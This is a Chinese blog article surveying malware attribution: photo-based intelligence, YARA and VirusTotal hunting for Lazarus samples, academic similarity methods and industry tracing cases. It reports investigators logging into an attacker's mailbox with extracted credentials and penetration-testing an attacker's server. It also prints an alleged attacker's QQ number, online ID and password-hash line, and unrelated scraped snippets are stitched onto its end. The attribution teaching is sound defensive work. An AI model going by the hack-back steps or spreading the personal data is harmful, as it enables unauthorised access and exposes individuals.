    中国最著名“照片泄密案”是1964年《中国画报》封面刊出的一张照片。在这张照片中,中国大庆油田的“铁人”王进喜头戴大狗皮帽,身穿厚棉袄,顶着鹅毛大雪,握着钻机手柄眺望远方。日本情报专家根据这张照片,解开了中国最大的石油基地大庆油田的秘密,分析出大庆油田及其产油量和规模,从而在同中方谈判购买设备时占得先机。

    从第一张照片中分析出:大庆可能位于东北省。
    根据照片上王进喜的衣着判断,只有在北纬46度至48度的区域内,冬季才有可能穿这样的衣服,因此推断大庆油田位于齐齐哈尔与哈尔滨之间。

    在这里插入图片描述

    从第二张照片中分析出:油井的直接。

    在这里插入图片描述

    从第三张照片中分析出:马家窑是大庆的中心。

    在这里插入图片描述

    从第四张照片中分析出:马家窑离火车站不远。

    在这里插入图片描述

    从第五张照片中分析出:大庆已经大量产油。

    在这里插入图片描述

    从工作报告中分析出:大庆油田的产油量。同时,从王进喜所站的钻井与背后油田间的距离和井架密度,推断出油田的大致储量和产量。

    在这里插入图片描述

    有了如此多的准确情报,日本人迅速设计出适合大庆油田开采用的石油设备。当中国政府向世界各国征求开采大庆油田的设备方案时,日本人一举中标。庆幸的是,日本当时是出于经济危机,根据情报分析结果,向我国高价推销炼油设施,而不是用于其他战略意图。看了这个案例,您会想到什么呢?其实这就是安全领域一个非常经典的社会工程学案例。


    (2) Lazarus溯源案例

    该部分源自:https://www.freebuf.com/articles/system/221008.html

    对APT组织进行追踪需要一定的积累,只有熟悉了该组织的常用攻击手法(TTPs),才能在新型的攻击中将其辨识出来。其中,通过样本共用代码段进行关联是最高效的方式,这也突显了使用yara规则进行样本分析的好处。

    首先,我们需要从已有的样本中筛选出相同的特征码,可以使用Bindiff来比较已有样本相似的代码片段,如下:找到相似度较高且不是系统API的函数。

    在这里插入图片描述

    然后优先选取Blocks数较多、匹配指令数较多的函数。

    在这里插入图片描述

    在这里插入图片描述

    可以重点挑选一些加密算法代码作为特征码,这样比较没那么容易误报。除此之外,也可以使用一些自动化提取yara规则的工具可以使用,比如yargen:https://github.com/Neo23x0/yarGen

    在这里插入图片描述

    如下,是提取出来的wannacry的特征码,可以在VT上进行关联,来追踪Lazarus的相似攻击组件。

    在这里插入图片描述

    在VT搜索框中,输入:content:”{51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75 04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46 56 E8}”,就能筛选出所有具有这个代码片段的样本,直到今年7月份,都还有相关的样本活跃。

    在这里插入图片描述

    打开详细信息,发现这是Lazarus用于攻击孟加拉国的alreay攻击组件,那么也就说明,WannaCry和Alreay确实有共用的代码片段,通过这种方式,就可以关联出Lazarus所使用的攻击组件。

    在这里插入图片描述

    将yara规则添加到hunting中,一旦VT捕获到新的样本符合这条规则,就会立刻通知我们。

    在这里插入图片描述


    三.学术界恶意代码溯源

    学术界旨在采用静态或动态的方式获取恶意代码的特征信息,通过对恶意代码的特征学习,建立不同类别恶意代码的特征模型,通过计算待检测恶意代码针对不同特征类别的相似性度量,指导恶意代码的同源性判定。常见的恶意代码溯源主要包括4个阶段:特征提取、特征预处理、相似性计算、同源判定,各阶段间的流程关系如下图所示。

    在这里插入图片描述

    上图是将溯源对象Windows平台的PE恶意文件或Android平台的APK恶意文件输入溯源系统,经过特征提取、特征预处理、相似性计算、同源分析获取溯源结果,最终判定攻击家族或作者。

    1.特征提取

    特征提取是溯源分析过程的基础,具有同源性的恶意代码是通过它们的共有特征与其他代码区分开来的。所提取的特征既要反映出恶意代码的本质和具有同源性恶意代码之间的相似性,又要满足提取的有效性。

    依据溯源目的,溯源特征提取包括溯源家族的特征提取和溯源作者的特征提取。Faruki等在字节码级别提取统计性强的序列特征,包括指令、操作码、字节码、API代码序列等。Perdisci R等通过n-gram提取字节码序列作为特征。Ki Y等提出了捕获运行过程中的API序列作为特征,利用生物基因序列检测工具ClustalX对API序列进行相似性分析,得到恶意代码的同源性判定。DNADroid使用PDG作为特征,DroidSim是一种基于组件的CFG来表示相似性代码特征,与早期的方法相比,该系统检测代码重用更准确。

    2.特征预处理

    特征提取过程中会遇到不具有代表性、不能量化的原始特征,特征预处理针对这一问题进行解决,以提取出适用于相似性计算的代表性特征。特征预处理一方面对初始特征进行预处理,另一方面为相似性计算提供基础数据。常见的特征类型包括序列特征和代码结构特征。

    序列特征预处理: 包括信息熵评估、正则表达式转换、N-grams序列、序列向量化、权重量化法等,序列特征预处理会将初始特征中冗余特征消除、特征语义表达式增强、特征量化等以便于进行相似性计算。L. Wu通过分析恶意软件敏感API操作以及事件等,将API序列特征转换为正则表达式,并在发生类似的正则表达式模式时检测恶意代码。IBM研究小组先将N-gram方法应用于恶意软件分析中,使用N-gram的统计属性预测给定序列中下个子序列,从而进行相似度计算。Kolosnjaji等提出对API调用序列进行N-gram处理获取子序列,采用N-gram方法将API调用序列转换为N-gram序列,实现过程下图所示。

    在这里插入图片描述

    代码结构特征预处理: 在相似度比较时存在边、节点等匹配问题即子图同构算法复杂性,同时代码结构特征中存在冗余结构,因此除去冗余、保留与恶意操作相关的代码结构是预处理的主要目的。常见的方法包括API调用图预处理、CFG图预处理、PDG图预处理等。


    3.相似性计算

    溯源旨在通过分析样本的同源性定位到家族或作者,样本的同源性可以通过分析代码相似性来获取。相似性计算旨在衡量恶意代码间相似度,具体为采用一种相似性模型对恶意代码的特征进行运算。根据预处理特征类型的不同以及溯源需求、效率、准确性等差异,采用不同的相似性运算方法。

    目前比较流行的相似性计算方法主要集中在对集合、序列、向量、图等特征表现形式的处理。Qiao等基于集合计算相似性,在不同恶意样本API集合的相似性比较中采用了Jaccard系数方法,将为A、B两个集合的交集在并集中所占的比例作为相似度,比例值越大,证明越相似,如公式所示。

    在这里插入图片描述

    Faruki等提出了采用SDhash相似性散列技术构建样本的签名序列,并采用汉明距离法对序列进行相似性计算,从而识别同源性样本。Suarez-Tangil 等用数据挖掘算法中向量空间模型展示家族的恶意代码特征形式,将同家族提取出来的具有代表性的CFG元素作为特征中维度,采用余弦算法对不同家族的向量空间模型进行相似度计算,根据余弦值来判断它们的相似性,从而识别出相似性样本,进而归属到对应的家族。用于比较向量的余弦相似度反映了恶意代码间的相似性,其具体公式如公式所示。

    在这里插入图片描述

    Cesare等提出了最小距离匹配度量法,比较不同样本的CFG图特征的相似性。Kinable等通过静态分析恶意代码的系统调用图,采用图匹配的方式计算图相似性得分,该得分近似于图的编辑距离。利用该得分比较样本的相似性,采用聚类算法将样本进行聚类,实现家族分类。

    4.同源判定

    学术界常见的同源判定方法主要包括基于聚类算法的同源判定、基于神经网络的同源判定等。Kim等采用DBSCAN算法对基于调用图聚类,发现类似的恶意软件。Feizollah等提出采用层聚类算法,构建家族间演化模型,进而发掘家族功能的演化。Niu等提出了层次聚类和密度聚类算法结合的快速聚类算法对操作码序列特征进行聚类,以识别恶意软件变体,该方法识别变体效率较高。

    神经网络是一种多层网络的机器学习算法,可以处理多特征以及复杂特征的同源判定。基本思想为:将样本特征作为输入层数据,然后不断调整神经网络参数,直到输出的样本与该样本是一种同源关系未为止。它会将恶意代码特征送输入层,即可判断恶意代码的同源性.。赵炳麟等提出了基于神经网络的同源判定方法,其整体实现框架如下图所示。

    在这里插入图片描述


    四.产业界恶意代码溯源

    产业界除了采用与学术界类似的同源判定方法之外,还会通过关联的方法对恶意代码进行溯源。产业界的溯源意图除了溯源出编写恶意代码作者、恶意代码家族之外,还要挖掘出攻击者及攻击者背后的真正意图,从而遏制攻击者的进一步行动。

    产业界与学术界溯源方法的差异主要表现在特征提取和同源判定两个方面:在特征提取上,产业界更倾向于从代码结构、攻击链中提取相似性特征;在同源判定上,除了采用与已有的历史样本进行相似度聚类分析之外,产业界还会采用一些关联性分析方法。相比学术界溯源特征,产业界溯源特征更加详细全面,信息复杂度大。因此,学术界的同源判定方法并不能完全用于产业界各类特征的相似性分析中,常见产业界溯源方法分类如下表所示。

    在这里插入图片描述

    接下来补充绿盟李东宏老师的系统分析:http://blog.nsfocus.net/trace-source/

    1.恶意攻击流程及溯源方法

    恶意样本溯源追踪主要去了解攻击者或者团队的意图。恶意攻击的活动大概有如下7步骤:

    在这里插入图片描述

    • Reconnaissance:侦查,充分的社会工程学了解目标。
    • Weaponization:定向攻击工具的制作。常见的工具交付形态是带有恶意代码的pdf文件或office文件。
    • Delivery:把攻击工具输送到目标系统上。APT攻击者最常用这三种来传送攻击工具,包括邮件附件、网站(挂马)、USB等移动存储。
    • Exploitation:攻击代码在目标系统触发,利用目标系统的应用或操作系统漏洞控制目标。
    • Installation:远程控制程序的安装。使得攻击者可以长期潜伏在目标系统中。
    • Command and Control (C2) :被攻破的主机一般会与互联网控制器服务器建立一个C2信道,即与C2服务器建立连接。
    • Actions on Objectives:经过前面六个过程,攻击者后面主要的行为包括:偷取目标系统的信息,破坏信息的完整性及可用性等。进一步以控制的机器为跳转攻击其它机器,扩大战果。

    追踪溯源方法
    恶意样本的追踪溯源需要以当前的恶意样本为中心,通过对静态特征和动态行为的分析,解决如下问题:

    • 谁发动的攻击?
    • 攻击背景是什么?
    • 攻击的意图是什么?
    • 谁编写的样本?
    • 样本使用了哪些攻击技术?
    • 攻击过程中使用了那些攻击工具?
    • 整个攻击过程路径是怎样的?

    恶意样本追踪溯源可以采取如下方法:

    • 全流量分析
    • 同源分析
    • 入侵日志
    • 域名/IP
    • 攻击模型

    在这里插入图片描述


    2.域名/IP

    这种溯源方法是最基本的方法,通过对攻击者使用的域名和IP地址进行分析,挖掘攻击源头。查询域名的whois信息,可以关联到攻击者部分信息,如注册名、注册邮箱、注册地址、电话、注册时间、服务商等。

    在这里插入图片描述

    下面是通过样本分析对域名进行溯源分析的典型案例:

    案例1:
    Checkpoint经过细致分析后,最终归纳出一个首要嫌疑犯,即昵称为“Nexxus Zeta”的一个犯罪分子,原因在于攻击者在注册僵尸网络的某个C&C域名(nexusiotsolutions.net)时,所使用的邮箱地址包含相关信息。

    该邮件地址(nexuszeta1337@gmail.com)与C&C域名有一些交集,因此怀疑这个地址并不是一次性邮件地址,可以根据该地址来揭晓攻击者的真实身份。当搜索Nexus Zeta 1337时,在HackForums上找到了一个活跃的成员,该成员的用户昵称为“Nexus Zeta”,自2015年8月起已经是HackForums的一份子。虽然这个人在这种论坛上活跃度很低,但他发表了几篇帖子,从这些帖子中并没有发现他的专业水平有多高。不过有趣的是,他最近关注的是如何建立起类似Mirai的IoT僵尸网络。

    在这里插入图片描述

    “NexusZeta”在社交媒体上也颇为活跃,主要是在Twitter以及Github上,他在这两个平台上都公布了自己的IoT僵尸网络项目。实际上,这个人还将其Github账户关联到前面提到的某个恶意域名(nexusiotsolutions.net)。分析人员也找到了他所使用的Skype以及SoundCloud账户,使用人名为Caleb Wilson(caleb.wilson37 / Caleb Wilson 37),然而无法确定这个名字是否就是其真实姓名。

    在这里插入图片描述

    在这里插入图片描述

    样本分析及详细的溯源分析内容可参考链接:https://research.checkpoint.com/good-zero-day-skiddie/


    案例2:
    样本分析过程中,通过网络抓包,获取到攻击者的控制域名信息:

    在这里插入图片描述

    域名信息关联后,如下图所示:

    在这里插入图片描述

    这里点到为止,对上述信息进行进一步分析后,最终可定位到攻击者本人,并且最终成功接管攻击控制的域名。

    在这里插入图片描述

    案例3:
    通过分析获取到的样本,该样本为downloader程序,主要通过下载恶意软件之后运行,下载的IP地址如下所示:

    在这里插入图片描述

    对该IP进行渗透测试,最终获取到主机权限,通过对攻击者掌握的主机进行深入分析,最终定位到攻击者相关信息。

    在这里插入图片描述


    3.入侵日志

    这种溯源分析方法偏向于主机取证分析,攻击者在入侵到主机后的行为分析。对攻击者留下的大量操作日志进行分析后,可以提取相关攻击者的信息,包括:

    • 连接服务器使用VPS信息。
    • 登陆主机后,一般为了维持对主机的访问权限,会尝试创建自己的账号及密码。
    • 攻击者为了偷取数据,使用的ftp或者数据服务器信息。
    • 通过对攻击者的登陆时间进行分析,可以基本定位所在大区域(北半球,南半球)。
    • 登陆主机后的操作模型,不同的攻击者,入侵成功后进行的行为有差异,每个人都有自己的行为指纹特征。

    简单举个例子,不少攻击者习惯使用自动化的工具,去提取主机上的敏感信息(网站,邮箱,比特币,网银等账号密码),入侵成功后(钓鱼,社工,水坑攻击等),会在受害者机器上安装间谍软件,进行主机行为监控,并且定时将截获的敏感信息上传到服务上。

    大多使用三种通信方式窃取敏感信息:ftp、smtp、http。


    案例1:
    通过分析入侵日志,最终分析其留的监控程序,溯源分析的案例,该样本中攻击者使用加密的smtp服务器窃取敏感信息,在样本分析过程中可以获取到邮箱的用户名与密码:

    在这里插入图片描述

    利用获取到的登陆凭证可成功登陆攻击者邮箱:

    在这里插入图片描述

    在邮件内容中,发现了攻击者的真实邮箱,之后通过进一步溯源分析,定位到了攻击者。下图是攻击者真实的twitter账号:

    在这里插入图片描述

    案例2:
    攻击者在入侵成功后,留下的启动脚本中包含了攻击者的个人网络id,通过对该网络ID及QQ号码进行溯源分析,最终也成功定位到攻击者。

    QQ: 2228668564
    ID: icnanker
    shadow:
    icnanker:$6$EIZwhnAX$m/IclCqhsFOBaZEgT2mVCYFy5bKH75rJ8Rlh/hwGs7De
    R5AovmhrLS.V3naL6oizn6FCViwqKn6k9gqmoYNhs0:16866:0:99999:7:::

    在这里插入图片描述


    4.全流量分析

    某些攻击者或者组织的反跟踪意识非常强,基本上不会留下任何痕迹,在达成入侵目的之后(窃取数据),会完全清除入侵痕迹,或者干脆销毁主机硬盘。

    例如:2015年乌克兰电厂遭受攻击之后,攻击者利用killdisk组件销毁了全部数据。当然有些也不会留下在主机上的任何操作痕迹,部分勒索软件也是通过同样的手段进行痕迹擦除。这类案例也非常多,基本上在受害者机器上找不到任何痕迹,这时进行全流量分析溯源就相当有效了。

    例如:以2017年Flareon 4th逆向挑战赛最后一题为例。

    在这里插入图片描述

    描述了一个APT攻击场景,需要通过分析数据包及PE文件,还原整个攻击过程。从网络下载加密的恶意代码在本地进行解密:

    在这里插入图片描述

    解密后的内容为一个远控端,其和主控端的通讯流量通过了全加密,网络传输数据格式如下:

    在这里插入图片描述

    相关的加解密及功能模块如下:

    在这里插入图片描述

    过流量分析发现攻击者入侵行为如下:

    • 黑客入侵到168.221.91后,先获取了屏幕截图(内容包含了一个密码)。
    • 查看c:\work\FlareOn2017\Challenge_10\TODO.txt,发现larry相关提示(根据前期信息收集结果,可以知道johnson主机名)。
    • 通过ping命令获取到内网johnson主机IP地址(192.168.221.105)。
    • 使用psexec在johnson的主机上安装后门srv2.exe(监听本地16452端口)。
    • 之后通过内网代理连接该后门,通过代理插件上传加密模块到了johnson的主机上c:\staging\cf.exe。
    • 利用加密程序(exe)对lab10的文件进行加密,之后将原始文件删除,并且通过代理传到了黑客手里。

    该案例中仅通过全流量分析,最终还原整个入侵过程、黑客攻击行为以及窃取的内容,而在真实的环境中需要结合入侵日志进一步对恶意样本攻击进行追踪溯源。


    5.同源分析

    该方法主要为在获取到恶意样本后,很难第一时间关联到攻击者或者恶意样本提供者的信息,但是可以通过和历史恶意代码进行相似度分析,获得历史攻击事件,从而关联到相应的组织或团体。这种溯源方法多用于定位APT组织或者某些知名的黑客团体(方程式)的行动,需要投入大量的人力,时间去完成溯源跟踪分析。

    APT组织或者知名黑客团队,一般都有各自的工具定制开发部门,负责各类工具的开发,以及漏洞利用工具的量产(从今年4月份泄露的方程式组织内部的工具以及CIA泄露的部分文档就可以看出端倪)。其部分划分组织架构都非常清晰,有专门负责工具开发的部门,例如:远控开发部门,硬件研究部门,漏洞挖掘部门,漏洞利用工具编写的部门等。

    (1) 设计思路
    每个程序员在软件实现的时候,会使用自己比较熟悉的一套代码风格和实现算法,每个团伙或者组织在攻击目标时也会有一套自己特有的攻击方法,针对恶意样本可以通过行为日志的相似度、代码混淆风格以及相关的实现算法进行同源判定。

    例如:利用“破壳”漏洞投放的6个Bot具有同源性。

    在这里插入图片描述

    图片来源:安天

    (2) 编码特征
    程序员在开发过程中,经常会复用部分现有代码(加密算法,功能模块),以提高开发效率。样本分析人员通过跟踪分析某组织的大量攻击样本后,对其工具开发人员的编码风格(函数变量命名习惯,语种信息等),编程习惯有了深入了解。在此基础上,就能够通过编码风格准确溯源到相关组织。

    下面是今年5月份爆发的wanncry蠕虫的溯源分析的案例:
    https://blog.comae.io/wannacry-links-to-lazarus-group-dcea72c99d2d

    Google研究者Neel Mehta在Twitter率先发布消息称,早期的WannaCry样本与Lazarus团伙使用的一款后门程序Contopee存在较高相似度。稍后卡巴斯基和赛门铁克研究者基于此发布了更多分析结果。并且给出了代码相似度对比的图,以证明其推论:

    在这里插入图片描述

    (3) 通讯协议
    每个恶意样本为了和之前的版本通讯协议进行兼容,一般会复用之前的通讯协议代码,通过跟踪分析通讯数据的格式特征进行同源判定。

    Billgates上线数据格式如下图所示:
    在这里插入图片描述

    Xitele上线数据包格式如下图所示:

    在这里插入图片描述

    通过对比上面两个恶意样本上线包数据格式特征可以判定其为同源样本。


    (4) 数字证书
    数字证书是一个经证书授权中心数字签名的包含公开密钥拥有者信息以及公开密钥的文件。最简单的证书包含一个公开密钥、名称以及证书授权中心的数字签名。数字证书还有一个重要的特征就是只在特定的时间段内有效。

    数字证书是一种权威性的电子文档,可以由权威公正的第三方机构,即CA中心签发的证书,也可以由企业级CA系统进行签发。恶意软件为了躲避安全软件的检测,会使用数字证书对代码进行签名,而签名证书中的颁发给部分包含了软件的开发商的相关信息。

    在这里插入图片描述


    6.攻击模型

    这种溯源方法主要见于某些专业化程度比较高的个人或者组织,他们有自己的攻击常规套路,并且长期专注于一个领域的攻击。

    案例1:
    之前的一次应急分析过程中遇到一个团伙,主要进行ssh弱口令爆破,该团队的就主要关注于ssh弱口令爆破,通过对该团队的溯源分析,了解到其攻击模型是:

    • 扫描全网开放ssh服务端口的主机。
    • 根据开放服务端口号,将每个端口号对应的ip保存到一个文件中。
    • 并且定时的会对全网全端口进行扫描探测以便及时更新攻击目标数据。
    • 对存在ssh弱口令的主机进行攻击。
    • 利用成功入侵的主机作为节点,继续进行ssh弱口令爆破。
    • 旨在构造一个大型的botnet系统。

    除上面该实例外,还遇到不少,利用单一漏洞进行攻击的案例,如:struts2框架漏洞以及近期发现某团队利用webloglic WLS漏洞进行入侵挖矿的案例。


    案例2:
    下面举一个最有名的例子,2016年10月爆发的Mirai僵尸网络曾经一度使互联网产生恐慌,通过溯源分析最终定位到了该僵尸网络的作者。

    Mirai僵尸网络就是一个很好的例子,攻击者主要利用物联网设备默认口令的问题,感染大量设备,之前沟通对其攻击模型的匹配,可以清楚的了解的组织的活动轨迹,并且通过对每一次活动留下的线索进行关联分析,最终定位到了攻击者团伙。

    美国司法部最终披露称,三名男子就创建Mirai恶意软件并利用Mirai僵尸网络攻击多个目标的事实表示认罪。从法庭文档来看,这三名男子的名字是Paras Jha、Josiah White和Dalton Norman。


    案例3:
    在一次应急响应中通过取证分析,了解到攻击使用的攻击模型如下:

    • 注册域名,根据攻击目标选择有意义的域名。
    • 在GitHub上注册一个新账户和创建一个开源项目。
    • 编译源码后捆绑恶意软件,一般选择advanced installer作为捆绑打包器(还有AutoIt,NSIS)。
    • 发布到搭建的网站上。
    • 在互联网上发布推广其软件。
    • 窃取用户敏感数据(账号密码)。
    • 进行数据直接套现,或者通过信息倒卖平台间接变现。

    在这里插入图片描述

    之后利用该攻击模型对样本库中的文件进行筛选,定位到另外3套与该模型完全匹配的案例,进一步分析匹配到的样本后,首先确认了该4套样本出于同一开发团队,经过溯源分析准确定位到了攻击者。

    溯源分析旨在通过现象去发掘样本背后的故事,没有固定的套路可循,在分析过程中,要像侦探破案一样,大胆心细,不放过任何细枝末节,是一场人与人之间斗智斗勇的过程。

    “天网恢恢疏而不漏“,溯源篇旨在抛砖引玉,将感兴趣的读者带入这个谜一样的世界!以上纯属笔者个人的观点角度,意在抛砖引玉,引发读者去思考作为一名合格的恶意样本分析人员应该具备那些技能?仁者见仁智者见智点到为止。

    不过有一点可以确认单纯掌握样本分析技能是远远不够的。下面列举了几个方向,感兴趣的读者可以去进行深入学习:

    • 渗透测试
    • 应急响应
    • 取证分析
    • 数据分析
    • 漏洞分析

    掌握上述技能后,以守为攻,变换角色,从多个维度去进行样本分析攻击溯源,进而输出高质量的样本分析报告。


    五.总结

    严峻的网络安全对抗和博弈形势,使得对恶意代码的演化与溯源技术的研究价值凸显,学术界、产业界近年来分别从攻击和防护两个方面展开了深入的研究。前文基于已有的研究总结了恶意代码的生成过程和编码特征,并对来自产业界、学术界恶意代码的溯源机理和溯源对抗方法进行了详细描述。

    目前,学术界和产业界在恶意代码溯源技术方面取得了较大的进步,在追踪恶意代码组织、黑客组织(攻击者)、发现未知恶意代码方面取得了部分研究成果,例如海莲花、白象、方程式组织等典型 APT 攻击计划和黑客团队的不断曝光,但依然存在不足和挑战。

    写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。突然发现,作者已经写了400多篇文章了,非常值得纪念,今后也希望帮到更多的读者。也觉得自己的技术好浅,要学的知识好多,读博真心不容易,之前很少遇到睡不着觉,这学期很多次惊醒,希望自己这四年能不断成长,身体和心理都健康!一定要好好的,有时候只是看着开心阳光,其背后的苦和痛都要去炼化,祝福所有博士战友们。

    (By:Eastmount 2019-12-26 晚上11点写于武汉 http://blog.csdn.net/eastmount/ )


    参考文献:
    [1]姜建国,王继志,孔斌,等. 网络攻击溯源追踪技术研究综述[J]. 信息安全学报, 2018,3(1):111-131.
    [2]刘剑,苏璞睿,杨珉,等. 软件与网络安全研究综述[J]. 软件学报, 2018,29(1):42-68.
    [3]赫尧,陈周国,蒲石,黄宸. 多源网络攻击追踪溯源技术研究[J]. 通信技术, 2013,46(12):77-81.
    [4]袁得嵛,高见,叶萌熙,王小娟. 基于拓扑扩展的在线社交网络恶意信息源定位算法[J]. 计算机科学, 2019,46(5): 129-134.
    [5]恶意代码演化与溯源技术研究[J]. 软件学报, 2019,30(8): 2229−2267.
    [6]李东宏.恶意样本分析手册——溯源篇.2018. http://blog.nsfocus.net/trace-source/.
    [7]钱雨村,彭国军,王滢,梁玉. 恶意代码同源性分析及家族聚类[J]. 计算机工程与应用, 2015, 51(18): 76−81.
    [8]Ge YW, Kang F, Peng XX. Homology analysis of malicious code based on dynamic BP neural network. Journal of Chinese Computer System, 2016,37(11):2527−2531.
    [9]Faruki P, Laxmi V, Bharmal A, Gaur M, Ganmoor V. Androsimilar: Robust signature for detecting variants of android malware. Joural of Information Security and Applications, 2015,22:66−80.
    [10]Perdisci R, Lanzi A, Lee W. Mcboost: Boosting scalability in malware collection and analysis using statistical classification of executables. In: Proc. of the ACSAC. 2008. 301−310.
    [11]Ki Y, Kim E, Kim HK. A novel approach to detect malware based on API call sequence analysis. Int’l Journal of Distributed Sensor Networks, 2015,11(6):No.659101.
    [12]Crussell J, Gibler C, Chen H. Attack of the clones: Detecting cloned applications on android markets. In: Proc. of the European Symp. on Research in Computer Security. Berlin, Heidelberg: Springer-Verlag, 2012. 37−54.
    [13]Sun X, Zhongyang YB, Xin Z, Mao B, Xie L. Detecting code reuse in Android applications using component-based control flow graph. In: Proc. of the ICT. Springer-Verlag, 2014. 142−155.
    [14]Wu L, Ping R, Ke L, Hai D. Behavior-Based malware analysis and detection. In: Proc. of the 2011 1st Int’l Workshop on Complexity and Data Mining (IWCDM). New York: IEEE, 2011. 39−42.
    [15]A biologically inspired immune system for computers. In: Proc. of the Artificial Life IV: 4th Int’l Workshop on the Synthesis and Simulation of Living Systems. MIT Press, 2011. 130−139.
    [16]Kolosnjaji B, Zarras A, Webster G, Eckert C. Deep learning for classification of malware system call sequences. In: Proc. of the Australasian Joint Conf. on Artificial Intelligence. Cham: Springer-Verlag, 2016. 137−149.
    [17]Zhao BL, Meng X, Han J, Wang J, Liu FD. Homology analysis of malware based on graph. Journal on Communications, 2017, 38(Z2):86−93 (in Chinese with English abstract).
    [18]Awad RA, Sayre KD. Automatic clustering of malware variants. In: Proc. of the 2016 IEEE Conf. on Intelligence and Security Informatics (ISI). IEEE, 2016. 298−303.
    [19]Crussell J, Gibler C, Chen H. Andarwin: Scalable detection of semantically similar Android applications. In: Proc. of the European Symp. on Research in Computer Security. Springer, Berlin, Heidelberg, 2013. 182−199.
    [20]Qiao Y, Yun X, Zhang Y. How to automatically identify the homology of different malware. In: Proc. of the 2016 IEEE Trustcom/ BigDataSE/I SPA. IEEE, 2016. 929−936.
    [21]Faruki P, Laxmi V, Bharmal A, Gaur M, Ganmoor V. Androsimilar: Robust signature for detecting variants of android malware. Joural of Information Security and Applications, 2015,22:66−80.
    [22]Suarez-Tangil G, Tapiador JE, Peris-Lopez P, Blasco J. Dendroid: A text mining approach to analyzing and classifying code structures in Android malware families. Expert Systems with Applications, 2014,41(4):1104−1117.
    [23]Cesare S, Xiang Y, Zhou W. Control flow-based malware variant detection. IEEE Trans. on Dependable and Secure Computing, 2014,11(4):307−317.
    [24]Fredrikson M, Jha S, Christodorescu M, Sailer R, Yan X. Synthesizing near-optimal malware specifications from suspicious behaviors. In: Proc. of the 2010 IEEE Symp. on Security and Privacy (Oakland 2010). 2010. 45−60.
    [25]Kim J, Kim TG, Im EG. Structural information based malicious app similarity calculation and clustering. In: Proc. of the 2015 Conf. on Research in Adaptive and Convergent Systems. ACM Press, 2015. 314−318.
    [26]Feizollah A, Anuar NB, Salleh R, Amalina F. Comparative study of k-means and mini batch k-means clustering algorithms in Android malware detection using network traffic analysis. In: Proc. of the 2014 Int’l Symp. on Biometrics and Security Technologies (ISBAST). IEEE, 2014. 193−197.
    [27]Niu Z, Qin Z, Zhang J, Yin H. Malware variants detection using density based spatial clustering with global opcode matrix. In: Proc. of the Int’l Conf. on Security, Privacy and Anonymity in Computation, Communication and Storage. Cham: Springer-Verlag, 2017. 757−766.
    [28]Zhao BL, Meng X, Han J, Wang J, Liu FD. Homology analysis of malware based on graph. Journal on Communications, 2017, 38(Z2):86−93 (in Chinese with English abstract).

    展开全文
  • 轻松搞定Windows恶意代码攻击(转)[@more@] 所谓恶意代码,是指网页中使用了利用WSH漏洞来修改系统的一段代码(但是由于它并不具备传染性和自我复制这两个病毒的基本特征,因此不能称作病毒)。WSH是“Windows ...
  •  恶意代码,是指网页中使用了利用WSH漏洞来修改系统的一段代码(但是由于它并不具备传染性和自我复制这两个病毒的基本特征,因此不能称作病毒)。WSH是“Windows Scripting Host”的缩写,是微软提供的一种...
  • Linux开发人员92%没有遭受过恶意代码攻击日期:2004/07/30 来源:sina.com.cn  市场调研厂商Evans数据公司于本周三发表了一项调查结果:只有8%的Linux开发人员曾遭遇过系统被病毒感染的经历,使“Linux vs....
  • 教你如何防止恶意代码攻击,分享给大家一起学习,供大家参考!
  • 对下载驱动攻击恶意代码JavaScript代码的监测与分析
  • XSS跨站脚本攻击 XSS攻击全称跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。...解决XSS攻击恶意代码方法 XSS攻击一般在留言框、评论框、微博里常见,可通
  • 第7章 恶意代码分析与防治;内容提要;7.1 恶意代码概述;7.1.1 研究恶意代码的必要性;7.1.1 研究恶意代码的必要性;7.1.2 恶意代码的发展史;7.1.2 恶意代码的发展史;恶意代码的发展 ;...7.2.2 恶意代码攻击
  • ​ 泛在网络日益受到各种各样的恶意代码攻击,已经严重威胁到各个领域的信息安全和网络安全。为了分析不同种类恶意代码之间的异同性,通过搭建Cuckoo沙箱平台模拟恶意代码运行环境研究其聚类情况,以此来获得恶意...
  • 14.1.2 恶意代码攻击模型 262 14.1.3 恶意代码生存技术 263 14.1.4 恶意代码攻击技术 266 14.1.5 恶意代码分析技术 267 14.1.6 恶意代码防范策略 270 14.2 计算机病毒分析与防护 271 14.2.1 计算机病毒概念与特性 ...
  • 突发!PHP服务器被攻击恶意代码合入git仓库

    万次阅读 多人点赞 2021-03-30 15:33:26
    PHP的git服务器被攻击了,合入了两个恶意commit,nikic发信称将迁移仓库到GitHub上。代码中竟然包括「Zerodium」,莫非背后有什么交易? PHP的一名贡献者Nikita Popov (网名nikic)公开发信称,php的git服务器被黑客...
  • 这篇文章将带大家学习安天科技集团首席架构师肖新光老师(Seak)的分享,介绍恶意代码与APT攻击中的武器,包括A2PT的攻击武器、普通APT组织的自研恶意代码、商用恶意代码、无恶意代码作业、开源和免费工具等。...
  • 还有网上也有对应的封装好的接口,开源的代码支持目前主流平台。   开源代码 :   windows  http://www.pdflib.com/binaries/PDFlib/705/PDFlib-Lite-7.0.5p3.zip   linux  ...
  • 恶意代码

    2018-11-07 19:44:32
    一,恶意程序 危害 定义 病毒的发展 计算机病毒 危害 蠕虫 木马    钓鱼攻击
  • 文章目录@[toc]恶意代码概念恶意代码的发展历史恶意代码的种类恶意代码的传播方式 恶意代码概念 定义:运行在目标计算机上,使系统按照攻击者医院执行任务的一组指令。 包括哪些: 计算机病毒(Computer Virus) ...
  • 针对互联网服务器的攻击行为常利用程序存在的未知漏洞展开,且手法不断更新,使得...结合该技术实现了一个N-A detecting(网络数据检测)防御系统,实验证明,该系统能够很好地防范针对网络程序的恶意代码攻击行为。
  • 所谓恶意网页主要是利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页H T M L超文本标记语言内的Java Applet小应用程序,JavaScript脚本语言程序,ActiveX控件部件等可自动执行的代码程序,强行修改用户操作...
  • 目录   笔记 实验 Lab11-1 ...下载器:从网上下载代码,在本地运行,...后门:让攻击者通过远程访问来控制计算机的恶意代码,常用的方法是借助80端口的HTTP协议进行通信。 反向shell:从感染机器上发起一个连接...
  • 系统恶意代码技术分析知识域恶意代码知识子域恶意代码的产生与发展了解恶意代码的发展历史...恶意代码的危害网络拥塞蠕虫传播或爆发占用大量网络资源导致网络瘫痪系统控制形成危害严重的僵尸网络被作者用来发动任何攻击
